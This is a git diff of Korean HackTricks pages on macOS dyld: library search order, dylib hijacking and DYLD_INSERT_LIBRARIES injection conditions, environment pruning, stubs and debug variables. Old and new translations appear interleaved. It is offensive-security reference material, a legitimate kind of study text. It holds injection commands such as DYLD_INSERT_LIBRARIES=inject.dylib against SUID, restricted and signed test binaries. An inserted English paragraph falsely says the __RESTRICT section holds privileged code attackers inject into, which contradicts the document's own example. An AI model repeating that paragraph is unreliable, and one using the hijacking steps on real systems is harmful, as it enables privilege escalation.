* 경로에 **슬래시 문자가 없는 경우** (즉, 단순한 파일 이름인 경우), **dlopen()은 검색**을 수행합니다. \*\*`$DYLD_LIBRARY_PATH`\*\*가 실행 시 설정되었다면, dyld는 먼저 해당 디렉토리에서 검색합니다. 그 다음, 호출하는 mach-o 파일이나 메인 실행 파일이 \*\*`LC_RPATH`\*\*를 지정한 경우, dyld는 해당 디렉토리에서 검색합니다. 그 다음, 프로세스가 **제한되지 않은 경우**, dyld는 **현재 작업 디렉토리**에서 검색합니다. 마지막으로, 오래된 바이너리의 경우, dyld는 일부 대체 방법을 시도합니다. \*\*`$DYLD_FALLBACK_LIBRARY_PATH`\*\*가 실행 시 설정되었다면, dyld는 해당 디렉토리에서 검색합니다. 그렇지 않으면, dyld는 **`/usr/local/lib/`** (프로세스가 제한되지 않은 경우) 그리고 \*\*`/usr/lib/`\*\*에서 검색합니다. (이 정보는 \*\*`man dlopen`\*\*에서 가져온 것입니다).
**`man dlopen`**에서:
* 경로에 **슬래시 문자가 없는 경우** (즉, 단순히 리프 이름인 경우), **dlopen()은 검색**을 수행합니다. **`$DYLD_LIBRARY_PATH`**가 시작할 때 설정되었다면, dyld는 먼저 해당 디렉토리에서 찾습니다. 그 다음, 호출하는 mach-o 파일이나 주 실행 파일이 **`LC_RPATH`**를 지정하면 dyld는 **해당 디렉토리에서 찾습니다**. 그 다음, 프로세스가 **제한되지 않은 경우**, dyld는 **현재 작업 디렉토리**에서 검색합니다. 마지막으로, 오래된 이진 파일의 경우 dyld는 일부 대체 방법을 시도합니다. **`$DYLD_FALLBACK_LIBRARY_PATH`**가 시작할 때 설정되었다면, dyld는 **해당 디렉토리에서 검색**하고, 그렇지 않으면 dyld는 **`/usr/local/lib/`**에서 검색합니다 (프로세스가 제한되지 않은 경우), 그리고 **`/usr/lib/`**에서 검색합니다. (이 정보는 **`man dlopen`**에서 가져온 것입니다).
1. `$DYLD_LIBRARY_PATH`
2. `LC_RPATH`
3. `CWD`(제한되지 않은 경우)
@ -114,36 +147,51 @@ Windows와 마찬가지로 MacOS에서도 **dylib을 하이재킹**하여 **애
6. `/usr/lib/`
{% hint style="danger" %}
이름에 슬래시가 없는 경우, 히재킹을 수행하는 두 가지 방법이 있습니다:
이름에 슬래시가 없는 경우, hijacking을 수행하는 두 가지 방법이 있습니다:
* **`LC_RPATH`** 중 하나가 **쓰기 가능**한 경우 (하지만 서명이 확인되므로, 여기에는 바이너리가 제한되지 않아야 함)
* 어떤 **`LC_RPATH`**가 **쓰기 가능**한 경우 (그러나 서명이 확인되므로 여기에는 바이너리가 제한되지 않아야 함)
* 바이너리가 **제한되지 않은 경우** CWD에서 무언가를 로드할 수 있습니다 (또는 언급된 환경 변수 중 하나를 악용)
{% endhint %}
* 경로가 **프레임워크 경로처럼 보이는 경우** (예: `/stuff/foo.framework/foo`), \*\*`$DYLD_FRAMEWORK_PATH`\*\*가 실행 시 설정되었다면, dyld는 먼저 해당 디렉토리에서 **프레임워크 부분 경로** (예: `foo.framework/foo`)를 찾습니다. 그 다음, dyld는 **제공된 경로를 그대로** 시도합니다 (상대 경로의 경우 현재 작업 디렉토리를 사용). 마지막으로, 오래된 바이너리의 경우, dyld는 일부 대체 방법을 시도합니다. \*\*`$DYLD_FALLBACK_FRAMEWORK_PATH`\*\*가 실행 시 설정되었다면, dyld는 해당 디렉토리에서 검색합니다. 그렇지 않으면, dyld는 **`/Library/Frameworks`** (macOS에서 프로세스가 제한되지 않은 경우) 그리고 \*\*`/System/Library/Frameworks`\*\*에서 검색합니다.
* 경로가 **프레임워크 경로처럼 보이는 경우** (예: `/stuff/foo.framework/foo`), **`$DYLD_FRAMEWORK_PATH`**가 시작할 때 설정되었다면, dyld는 먼저 해당 디렉토리에서 **프레임워크 부분 경로** (예: `foo.framework/foo`)를 찾습니다. 그 다음, dyld는 **제공된 경로를 그대로 시도**합니다 (상대 경로의 경우 현재 작업 디렉토리 사용). 마지막으로, 오래된 이진 파일의 경우 dyld는 일부 대체 방법을 시도합니다. **`$DYLD_FALLBACK_FRAMEWORK_PATH`**가 시작할 때 설정되었다면, dyld는 해당 디렉토리에서 검색합니다. 그렇지 않으면, **`/Library/Frameworks`** (macOS에서 프로세스가 제한되지 않은 경우) 및 **`/System/Library/Frameworks`**에서 검색합니다.
1. `$DYLD_FRAMEWORK_PATH`
2. 제공된 경로 (상대 경로의 경우 현재 작업 디렉토리를 사용, 제한되지 않은 프로세스의 경우)
2. 제공된 경로 (제한되지 않은 프로세스의 경우 상대 경로에 대해 현재 작업 디렉토리 사용)
3. `$DYLD_FALLBACK_FRAMEWORK_PATH`
4. `/Library/Frameworks` (제한되지 않은 경우)
5. `/System/Library/Frameworks`
{% hint style="danger" %}
프레임워크 경로인 경우, 히재킹하는 방법은 다음과 같습니다:
프레임워크 경로인 경우, hijacking하는 방법은 다음과 같습니다:
* 프로세스가 **제한되지 않은 경우**, CWD의 **상대 경로** 또는 언급된 환경 변수를 악용합니다 (문서에 제한된 프로세스인 경우 DYLD\_\* 환경 변수가 제거되는지 여부는 언급되지 않았습니다).
* 프로세스가 **제한되지 않은 경우**, CWD의 **상대 경로를 악용**하거나 언급된 환경 변수 중 하나를 악용합니다 (문서에 명시되지 않았지만 프로세스가 제한되어 있지 않은 경우 DYLD\_\* 환경 변수가 제거됩니다).
{% endhint %}
* 슬래시를 포함하지만 프레임워크 경로가 아닌 경우 (즉, 전체 경로 또는 dylib의 부분 경로), dlopen()은 먼저 (설정된 경우) \*\*`$DYLD_LIBRARY_PATH`\*\*에서 (경로의 리프 부분과 함께) 검색합니다. 그 다음, dyld는 **제공된 경로를 시도**합니다 (제한되지 않은 프로세스의 경우 상대 경로에 대해 현재 작업 디렉토리를 사용). 마지막으로, 오래된 바이너리의 경우, dyld는 일부 대체 방법을 시도합니다. \*\*`$DYLD_FALLBACK_LIBRARY_PATH`\*\*가 실행 시 설정되었다면, dyld는 해당 디렉토리에서 검색합니다. 그렇지 않으면, dyld는 **`/usr/local/lib/`** (제한되지 않은 프로세스의 경우) 그리고 \*\*`/usr/lib/`\*\*에서 검색합니다.
* 슬래시가 포함되지만 프레임워크 경로가 아닌 경우 (즉, dylib의 전체 경로 또는 부분 경로인 경우), dlopen()은 먼저 (설정된 경우) **`$DYLD_LIBRARY_PATH`**에서 (경로의 리프 부분 사용) 찾습니다. 그 다음, dyld는 제공된 경로를 시도합니다 (상대 경로의 경우 현재 작업 디렉토리 사용 (제한되지 않은 프로세스의 경우만)). 마지막으로, 오래된 이진 파일의 경우 dyld는 대체 방법을 시도합니다. **`$DYLD_FALLBACK_LIBRARY_PATH`**가 시작할 때 설정되었다면, dyld는 해당 디렉토리에서 검색하고, 그렇지 않으면 dyld는 **`/usr/local/lib/`**에서 검색합니다 (프로세스가 제한되지 않은 경우), 그리고 **`/usr/lib/`**에서 검색합니다.
1. `$DYLD_LIBRARY_PATH`
2. 제공된 경로 (제한되지 않은 프로세스의 경우 상대 경로에 대해 현재 작업 디렉토리 사용)
2. 제공된 경로 (제한되지 않은 프로세스의 경우 상대 경로에 대해 현재 작업 디렉토리 사용)
3. `$DYLD_FALLBACK_LIBRARY_PATH`
4. `/usr/local/lib/` (제한되지 않은 프로세스의 경우)
4. `/usr/local/lib/` (제한되지 않은 경우)
5. `/usr/lib/`
이름에 슬래시가 포함되어 있고 프레임워크가 아닌 경우, 히재킹하는 방법은 다음과 같습니다:
{% hint style="danger" %}
이름에 슬래시가 있고 프레임워크가 아닌 경우, hijacking하는 방법은 다음과 같습니다:
* 바이너리가 **제한되지 않은 경우** CWD 또는 `/usr/local/lib`에서 무언가를 로드하거나 언급된 환경 변수 중 하나를 악용합니다.
{% endhint %}
{% hint style="info" %}
참고: **dlopen 검색을 제어하는** 구성 파일이 **없습니다**.
참고: 주 실행 파일이 **set\[ug]id 바이너리이거나 entitlement로 코드 서명**되었으면 **모든 환경 변수가 무시**되며, 전체 경로만 사용할 수 있습니다 ([DYLD\_INSERT\_LIBRARIES 제한 사항 확인](macos-dyld-hijacking-and-dyld\_insert\_libraries.md#check-dyld\_insert\_librery-restrictions)에서 자세한 정보 확인)
참고: Apple 플랫폼은 32비트 및 64비트 라이브러리를 결합한 "universal" 파일을 사용합니다. 이는 **별도의 32비트 및 64비트 검색 경로가 없음**을 의미합니다.
참고: Apple 플랫폼에서 대부분의 OS dylib은 **dyld 캐시에 통합**되어 있어 디스크에 존재하지 않습니다. 따라서 OS dylib가 존재하는지 사전 확인하기 위해 **`stat()`**을 호출하는 것은 **작동하지 않습니다**. 그러나 **`dlopen_preflight()`**는 호환되는 mach-o 파일을 찾기 위해 **`dlopen()`**과 동일한 단계를 사용합니다.
{% endhint %}
**경로 확인**
다음 코드로 모든 옵션을 확인해봅시다:
```c
// gcc dlopentest.c -o dlopentest -Wl,-rpath,/tmp/test
#include <dlfcn.h>
@ -186,33 +234,27 @@ fprintf(stderr, "Error loading: %s\n\n\n", dlerror());
return 0;
}
```
만약 컴파일하고 실행한다면, **각 라이브러리가 실패로 끝난 위치를 확인**할 수 있습니다. 또한, **파일 시스템 로그를 필터링**할 수도 있습니다:
만약 컴파일하고 실행하면 **각 라이브러리가 어디에서 실패로 검색되었는지** 볼 수 있습니다. 또한 **FS 로그를 필터링할 수 있습니다**:
```bash
sudo fs_usage | grep "dlopentest"
```
## 상대 경로 탈취
만약 **이 있는 이진 파일/앱** (예: SUID 또는 강력한 권한을 가진 이진 파일)이 **상대 경로** 라이브러리를 로드하고 **라이브러리 유효성 검사가 비활성화**되어 있다면, 공격자가 이진 파일을 수정할 수 있는 위치로 이진 파일을 이동시키고, 해당 라이브러리를 악용하여 코드를 프로세스에 주입할 수 있습니다.
만약 **권이 있는 이진 파일/앱** (예: SUID 또는 강력한 권한을 가진 일부 이진 파일)이 **상대 경로** 라이브러리를 로드하고 있고 **라이브러리 유효성 검사가 비활성화**되어 있다면, 공격자가 이진 파일을 공격자가 상대 경로로 로드된 라이브러리를 수정할 수 있는 위치로 이동시키고, 해당 라이브러리를 악용하여 프로세스에 코드를 주입할 수 있습니다.
## `DYLD_*``LD_LIBRARY_PATH` 환경 변수 제거
## `DYLD_*``LD_LIBRARY_PATH` 환경 변수 정리
`dyld-dyld-832.7.1/src/dyld2.cpp` 파일에서 **`pruneEnvironmentVariables`** 함수를 찾을 수 있습니다. 이 함수는 \*\*`DYLD_`\*\*로 시작하고 \*\*`LD_LIBRARY_PATH=`\*\*인 모든 환경 변수를 제거합니다.
`dyld-dyld-832.7.1/src/dyld2.cpp` 파일에서 **`pruneEnvironmentVariables`** 함수를 찾을 수 있습니다. 이 함수는 **`DYLD_`로 시작하는** 모든 환경 변수와 **`LD_LIBRARY_PATH=`**를 제거합니다.
또한, **suid****sgid** 이진 파일의 경우, 이 함수는 특히 **`DYLD_FALLBACK_FRAMEWORK_PATH`** 및 **`DYLD_FALLBACK_LIBRARY_PATH`** 환경 변수를 **null**로 설정합니다.
이 함수는 동일한 파일의 **`_main`** 함수에서 OSX를 대상으로 하는 경우에 호출됩니다:
또한 **suid****sgid** 이진 파일에 대해 특별히 **`DYLD_FALLBACK_FRAMEWORK_PATH`** 및 **`DYLD_FALLBACK_LIBRARY_PATH`** 환경 변수를 **null**로 설정합니다.
이 함수는 OSX를 대상으로 하는 경우 동일한 파일의 **`_main`** 함수에서 다음과 같이 호출됩니다:
```cpp
#if TARGET_OS_OSX
if ( !gLinkContext.allowEnvVarsPrint && !gLinkContext.allowEnvVarsPath && !gLinkContext.allowEnvVarsSharedCache ) {
pruneEnvironmentVariables(envp, &apple);
```
그리고 이러한 부울 플래그들은 코드 내에서 동일한 파일에 설정됩니다:
그 부울 플래그들은 코드 내 동일한 파일에 설정됩니다:
```cpp
#if TARGET_OS_OSX
// support chrooting from old kernel
@ -243,15 +285,13 @@ gLinkContext.allowClassicFallbackPaths = !isRestricted;
gLinkContext.allowInsertFailures = false;
gLinkContext.allowInterposing = true;
```
이것은 바이너리가 **suid** 또는 **sgid** 상태이거나 헤더에 **RESTRICT** 세그먼트가 있거나 **CS\_RESTRICT** 플래그로 서명된 경우, **`!gLinkContext.allowEnvVarsPrint && !gLinkContext.allowEnvVarsPath && !gLinkContext.allowEnvVarsSharedCache`**가 true이고 환경 변수가 제거된다는 것을 의미합니다.
이는 바이너리가 **suid** 또는 **sgid**이거나 헤더에 **RESTRICT** 세그먼트가 있거나 **CS\_RESTRICT** 플래그로 서명된 경우, \*\*`!gLinkContext.allowEnvVarsPrint && !gLinkContext.allowEnvVarsPath && !gLinkContext.allowEnvVarsSharedCache`\*\*가 true이며 환경 변수가 제거됩니다.
참고로, CS\_REQUIRE\_LV가 true인 경우 변수는 제거되지 않지만 라이브러리 유효성 검사에서 원래 바이너리와 동일한 인증서를 사용하는지 확인합니다.
CS\_REQUIRE\_LV가 true인 경우, 변수가 제거되지 않지만 라이브러리 유효성 검사는 원본 바이너리와 동일한 인증서를 사용하는지 확인합니다.
## 제한 사항 확인
### SUID & SGID
### SUID 및 SGID
```bash
# Make it owned by root and suid
sudo chown root hello
@ -262,25 +302,14 @@ DYLD_INSERT_LIBRARIES=inject.dylib ./hello
# Remove suid
sudo chmod -s hello
```
### 섹션 `__RESTRICT`와 세그먼트 `__restrict`
The `__RESTRICT` section is a special section in macOS that is used for library injection and privilege escalation techniques. It is typically found within the `__restrict` segment.
The `__RESTRICT` section contains code that is executed with elevated privileges, allowing an attacker to gain unauthorized access to sensitive system resources. By injecting malicious code into this section, an attacker can exploit vulnerabilities in the macOS operating system and escalate their privileges.
It is important for system administrators and developers to be aware of the existence of the `__RESTRICT` section and take appropriate measures to secure it. Regular security audits and vulnerability assessments can help identify and mitigate potential risks associated with this section.
By understanding the purpose and implications of the `__RESTRICT` section, security professionals can better protect macOS systems from library injection attacks and privilege escalation attempts.
```bash
gcc -sectcreate __RESTRICT __restrict /dev/null hello.c -o hello-restrict
DYLD_INSERT_LIBRARIES=inject.dylib ./hello-restrict
```
### 강화된 런타임
### Hardened runtime
새 인증서를 Keychain에 생성하고 이를 사용하여 이진 파일에 서명합니다:
키체인에 새 인증서를 생성하고 해당 인증서를 사용하여 이진 파일에 서명합니다:
{% code overflow="wrap" %}
```bash
@ -305,31 +334,30 @@ DYLD_INSERT_LIBRARIES=inject.dylib ./hello-signed # Won't work
{% endcode %}
{% hint style="danger" %}
참고로, **`0x0(none)`** 플래그로 서명된 이진 파일이 있더라도, 실행될 때 동적으로 **`CS_RESTRICT`** 플래그를 얻을 수 있으므로 이 기술은 그들에게는 작동하지 않을 수 있습니다.
다음 명령어로 프로세스가 이 플래그를 가지고 있는지 확인할 수 있습니다 (여기에서 [**csops를 받으세요**](https://github.com/axelexic/CSOps)):
심지어 플래그가 **`0x0(none)`**으로 서명된 이진 파일이 있더라도, 실행될 때 동적으로 **`CS_RESTRICT`** 플래그를 받을 수 있으므로 이 기술은 그들에게 적용되지 않을 수 있음을 유의하십시오.
이 프로세스가 이 플래그를 가지고 있는지 확인할 수 있습니다 ([**여기에서 csops를 확인하십시오**](https://github.com/axelexic/CSOps)):
```bash
csops -status <pid>
```
그리고 플래그 0x800이 활성화되어 있는지 확인하십시오.
그런 다음 플래그 0x800이 활성화되어 있는지 확인하십시오.
{% endhint %}
## 참고 자료
* [https://theevilbit.github.io/posts/dyld\_insert\_libraries\_dylib\_injection\_in\_macos\_osx\_deep\_dive/](https://theevilbit.github.io/posts/dyld\_insert\_libraries\_dylib\_injection\_in\_macos\_osx\_deep\_dive/)
* [**\*OS Internals, Volume I: User Mode. By Jonathan Levin**](https://www.amazon.com/MacOS-iOS-Internals-User-Mode/dp/099105556X)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 제로부터 영웅이 되는 AWS 해킹을 배우세요!</summary>
HackTricks를 지원하는 다른 방법:
* HackTricks에서 **회사 광고를 보거나 PDF로 HackTricks를 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family)인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를** 팔로우하세요.
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **HackTricks****HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 해킹 요령을 공유하세요.
</details>

View file

@ -0,0 +1,322 @@
# macOS Dyld Process
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>에서 <strong>제로부터 영웅까지 AWS 해킹 배우기</strong>!</summary>
HackTricks를 지원하는 다른 방법:
* **회사를 HackTricks에서 광고하거나 PDF로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
</details>
## 기본 정보
Mach-o 이진 파일의 실제 **진입점**은 일반적으로 `/usr/lib/dyld`에 정의된 동적 링크된 `LC_LOAD_DYLINKER`에서 발생합니다.
이 링커는 모든 실행 가능한 라이브러리를 찾아 메모리에 매핑하고 모든 레이지하지 않은 라이브러리를 링크한 후에 이진 파일의 진입점이 실행됩니다.
물론 **`dyld`**에는 종속성이 없습니다 (시스템 호출 및 libSystem 일부를 사용합니다).
{% hint style="danger" %}
이 링커에 취약점이 포함되어 있다면 (심지어 높은 권한을 가진 이진 파일을 실행하기 전에 실행되므로) **권한 상승**이 가능할 수 있습니다.
{% endhint %}
### 흐름
Dyld는 **`dyldboostrap::start`**에 의해 로드되며, 이는 **스택 캐너리**와 같은 것들도 로드합니다. 이는 이 함수가 **`apple`** 인수 벡터에 이와 다른 **민감한 값**을 받기 때문입니다.
**`dyls::_main()`**은 dyld의 진입점이며, 첫 번째 작업은 일반적으로 **`DYLD_*`** 환경 변수를 제한하는 `configureProcessRestrictions()`를 실행하는 것입니다. 이는 다음에서 설명됩니다:
{% content-ref url="./" %}
[.](./)
{% endcontent-ref %}
그런 다음, dyld 공유 캐시를 매핑하고 모든 중요한 시스템 라이브러리를 사전 링크한 다음, 이진 파일이 의존하는 라이브러리를 매핑하고 필요한 모든 라이브러리가 로드될 때까지 재귀적으로 계속합니다. 따라서:
1. `DYLD_INSERT_LIBRARIES`로 삽입된 라이브러리를 로드하기 시작합니다 (허용된 경우)
2. 그런 다음 공유 캐시된 라이브러리
3. 그런 다음 가져온 라이브러리
4. 그런 다음 재귀적으로 라이브러리 가져오기를 계속합니다
모두 로드되면 이러한 라이브러리의 **초기화자**가 실행됩니다. 이들은 `LC_ROUTINES[_64]` (이제는 사용되지 않음)에 정의된 **`__attribute__((constructor))`**를 사용하여 코딩되거나 `S_MOD_INIT_FUNC_POINTERS`로 플래그 지정된 섹션에 포인터로 위치합니다 (일반적으로: **`__DATA.__MOD_INIT_FUNC`**).
종료자는 **`__attribute__((destructor))`**로 코딩되며 `S_MOD_TERM_FUNC_POINTERS`로 플래그 지정된 섹션 (**`__DATA.__mod_term_func`**)에 위치합니다.
### 스텁
macOS의 모든 바이너리는 동적으로 링크됩니다. 따라서 다른 기계 및 컨텍스트에서 올바른 코드로 이동하는 데 도움이 되는 스텁 섹션이 포함되어 있습니다. 이러한 주소를 해결해야 하는 뇌는 이진 파일이 실행될 때 dyld입니다 (적어도 레이지하지 않은 것들).
이진 파일의 일부인 스텁 섹션:
* **`__TEXT.__[auth_]stubs`**: `__DATA` 섹션의 포인터
* **`__TEXT.__stub_helper`**: 호출할 함수에 대한 정보를 포함하는 작은 코드
* **`__DATA.__[auth_]got`**: Global Offset Table (가져온 함수의 주소, 로드 시 바인딩됨 (`S_NON_LAZY_SYMBOL_POINTERS` 플래그로 표시됨))
* **`__DATA.__nl_symbol_ptr`**: 레이지하지 않은 심볼 포인터 (로드 시 바인딩됨 (`S_NON_LAZY_SYMBOL_POINTERS` 플래그로 표시됨))
* **`__DATA.__la_symbol_ptr`**: 레이지 심볼 포인터 (첫 액세스 시 바인딩됨)
{% hint style="warning" %}
접두사 "auth\_"가 있는 포인터는 한 프로세스 암호화 키를 사용하여 보호됩니다 (PAC). 또한, 포인터를 따르기 전에 확인하기 위해 arm64 명령어 `BLRA[A/B]`를 사용할 수 있습니다. 그리고 RETA\[A/B\]는 RET 주소 대신 사용할 수 있습니다.\
실제로 **`__TEXT.__auth_stubs`**의 코드는 요청된 함수를 인증하기 위해 **`bl`** 대신 **`braa`**를 사용할 것입니다.
또한 현재 dyld 버전은 **모두를 레이지하지 않은 것으로 로드**합니다.
{% endhint %}
### 레이지 심볼 찾기
```c
//gcc load.c -o load
#include <stdio.h>
int main (int argc, char **argv, char **envp, char **apple)
{
printf("Hi\n");
}
```
흥미로운 어셈블리 부분:
```armasm
; objdump -d ./load
100003f7c: 90000000 adrp x0, 0x100003000 <_main+0x1c>
100003f80: 913e9000 add x0, x0, #4004
100003f84: 94000005 bl 0x100003f98 <_printf+0x100003f98>
```
printf를 호출하는 점프가 **`__TEXT.__stubs`**로 이동하는 것을 확인할 수 있습니다:
```bash
objdump --section-headers ./load
./load: file format mach-o arm64
Sections:
Idx Name Size VMA Type
0 __text 00000038 0000000100003f60 TEXT
1 __stubs 0000000c 0000000100003f98 TEXT
2 __cstring 00000004 0000000100003fa4 DATA
3 __unwind_info 00000058 0000000100003fa8 DATA
4 __got 00000008 0000000100004000 DATA
```
**`__stubs`** 섹션의 분해에서:
```bash
objdump -d --section=__stubs ./load
./load: file format mach-o arm64
Disassembly of section __TEXT,__stubs:
0000000100003f98 <__stubs>:
100003f98: b0000010 adrp x16, 0x100004000 <__stubs+0x4>
100003f9c: f9400210 ldr x16, [x16]
100003fa0: d61f0200 br x16
```
당신은 **GOT 주소로 점프**하는 것을 볼 수 있습니다. 이 경우에는 non-lazy로 해결되며 printf 함수의 주소를 포함할 것입니다.
다른 상황에서는 직접적으로 GOT로 점프하는 대신에 **`__DATA.__la_symbol_ptr`**로 점프할 수 있습니다. 이는 로드하려는 함수를 나타내는 값을 로드하고, 그런 다음 **`__TEXT.__stub_helper`**로 점프하여 **`__DATA.__nl_symbol_ptr`**로 점프할 수 있습니다. 이는 **`dyld_stub_binder`**의 주소를 포함하며, 함수의 번호와 주소를 매개변수로 취합니다.\
이 마지막 함수는 찾은 함수의 주소를 찾은 후, 미래에 조회를 피하기 위해 해당 위치에 쓰입니다.
{% hint style="success" %}
그러나 현재 dyld 버전에서는 모든 것을 non-lazy로 로드한다는 것을 주목하세요.
{% endhint %}
#### Dyld 옵코드
마지막으로, **`dyld_stub_binder`**는 지정된 함수를 찾아 적절한 주소에 쓰기 위해 필요합니다. 이를 위해 dyld 내에서 옵코드(유한 상태 기계)를 사용합니다.
## apple\[] argument vector
macOS에서 main 함수는 실제로 3개가 아닌 4개의 인수를 받습니다. 네 번째는 apple이라고 하며 각 항목은 `key=value` 형식입니다. 예를 들어:
```c
// gcc apple.c -o apple
#include <stdio.h>
int main (int argc, char **argv, char **envp, char **apple)
{
for (int i=0; apple[i]; i++)
printf("%d: %s\n", i, apple[i])
}
```
결과:
```
0: executable_path=./a
1:
2:
3:
4: ptr_munge=
5: main_stack=
6: executable_file=0x1a01000012,0x5105b6a
7: dyld_file=0x1a01000012,0xfffffff0009834a
8: executable_cdhash=757a1b08ab1a79c50a66610f3adbca86dfd3199b
9: executable_boothash=f32448504e788a2c5935e372d22b7b18372aa5aa
10: arm64e_abi=os
11: th_port=
```
{% hint style="success" %}
이 값들이 main 함수에 도달할 때까지 민감한 정보가 이미 제거되었거나 데이터 누출이 발생했을 수 있습니다.
{% endhint %}
main 함수에 진입하기 전에 디버깅을 통해 이러한 흥미로운 값들을 모두 볼 수 있습니다:
<pre><code>lldb ./apple
<strong>(lldb) target create "./a"
</strong>Current executable set to '/tmp/a' (arm64).
(lldb) process launch -s
[..]
<strong>(lldb) mem read $sp
</strong>0x16fdff510: 00 00 00 00 01 00 00 00 01 00 00 00 00 00 00 00 ................
0x16fdff520: d8 f6 df 6f 01 00 00 00 00 00 00 00 00 00 00 00 ...o............
<strong>(lldb) x/55s 0x016fdff6d8
</strong>[...]
0x16fdffd6a: "TERM_PROGRAM=WarpTerminal"
0x16fdffd84: "WARP_USE_SSH_WRAPPER=1"
0x16fdffd9b: "WARP_IS_LOCAL_SHELL_SESSION=1"
0x16fdffdb9: "SDKROOT=/Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX14.4.sdk"
0x16fdffe24: "NVM_DIR=/Users/carlospolop/.nvm"
0x16fdffe44: "CONDA_CHANGEPS1=false"
0x16fdffe5a: ""
0x16fdffe5b: ""
0x16fdffe5c: ""
0x16fdffe5d: ""
0x16fdffe5e: ""
0x16fdffe5f: ""
0x16fdffe60: "pfz=0xffeaf0000"
0x16fdffe70: "stack_guard=0x8af2b510e6b800b5"
0x16fdffe8f: "malloc_entropy=0xf2349fbdea53f1e4,0x3fd85d7dcf817101"
0x16fdffec4: "ptr_munge=0x983e2eebd2f3e746"
0x16fdffee1: "main_stack=0x16fe00000,0x7fc000,0x16be00000,0x4000000"
0x16fdfff17: "executable_file=0x1a01000012,0x5105b6a"
0x16fdfff3e: "dyld_file=0x1a01000012,0xfffffff0009834a"
0x16fdfff67: "executable_cdhash=757a1b08ab1a79c50a66610f3adbca86dfd3199b"
0x16fdfffa2: "executable_boothash=f32448504e788a2c5935e372d22b7b18372aa5aa"
0x16fdfffdf: "arm64e_abi=os"
0x16fdfffed: "th_port=0x103"
0x16fdffffb: ""
</code></pre>
## dyld\_all\_image\_infos
이는 dyld에 의해 내보내진 dyld 상태에 대한 정보를 포함하는 구조체로, [**소스 코드**](https://opensource.apple.com/source/dyld/dyld-852.2/include/mach-o/dyld\_images.h.auto.html)에서 찾을 수 있으며, 버전, dyld\_image\_info 배열에 대한 포인터, dyld\_image\_notifier에 대한 정보, 프로세스가 공유 캐시에서 분리되었는지 여부, libSystem 초기화 함수가 호출되었는지 여부, dyld의 자체 Mach 헤더에 대한 포인터, dyld 버전 문자열에 대한 포인터 등의 정보가 포함되어 있습니다.
## dyld 환경 변수
### dyld 디버깅
dyld가 무엇을 하는지 이해하는 데 도움이 되는 흥미로운 환경 변수:
* **DYLD\_PRINT\_LIBRARIES**
로드된 각 라이브러리를 확인합니다.
```
DYLD_PRINT_LIBRARIES=1 ./apple
dyld[19948]: <9F848759-9AB8-3BD2-96A1-C069DC1FFD43> /private/tmp/a
dyld[19948]: <F0A54B2D-8751-35F1-A3CF-F1A02F842211> /usr/lib/libSystem.B.dylib
dyld[19948]: <C683623C-1FF6-3133-9E28-28672FDBA4D3> /usr/lib/system/libcache.dylib
dyld[19948]: <BFDF8F55-D3DC-3A92-B8A1-8EF165A56F1B> /usr/lib/system/libcommonCrypto.dylib
dyld[19948]: <B29A99B2-7ADE-3371-A774-B690BEC3C406> /usr/lib/system/libcompiler_rt.dylib
dyld[19948]: <65612C42-C5E4-3821-B71D-DDE620FB014C> /usr/lib/system/libcopyfile.dylib
dyld[19948]: <B3AC12C0-8ED6-35A2-86C6-0BFA55BFF333> /usr/lib/system/libcorecrypto.dylib
dyld[19948]: <8790BA20-19EC-3A36-8975-E34382D9747C> /usr/lib/system/libdispatch.dylib
dyld[19948]: <4BB77515-DBA8-3EDF-9AF7-3C9EAE959EA6> /usr/lib/system/libdyld.dylib
dyld[19948]: <F7CE9486-FFF5-3CB8-B26F-75811EF4283A> /usr/lib/system/libkeymgr.dylib
dyld[19948]: <1A7038EC-EE49-35AE-8A3C-C311083795FB> /usr/lib/system/libmacho.dylib
[...]
```
* **DYLD\_PRINT\_SEGMENTS**
각 라이브러리가 어떻게 로드되는지 확인하세요:
```
DYLD_PRINT_SEGMENTS=1 ./apple
dyld[21147]: re-using existing shared cache (/System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e):
dyld[21147]: 0x181944000->0x1D5D4BFFF init=5, max=5 __TEXT
dyld[21147]: 0x1D5D4C000->0x1D5EC3FFF init=1, max=3 __DATA_CONST
dyld[21147]: 0x1D7EC4000->0x1D8E23FFF init=3, max=3 __DATA
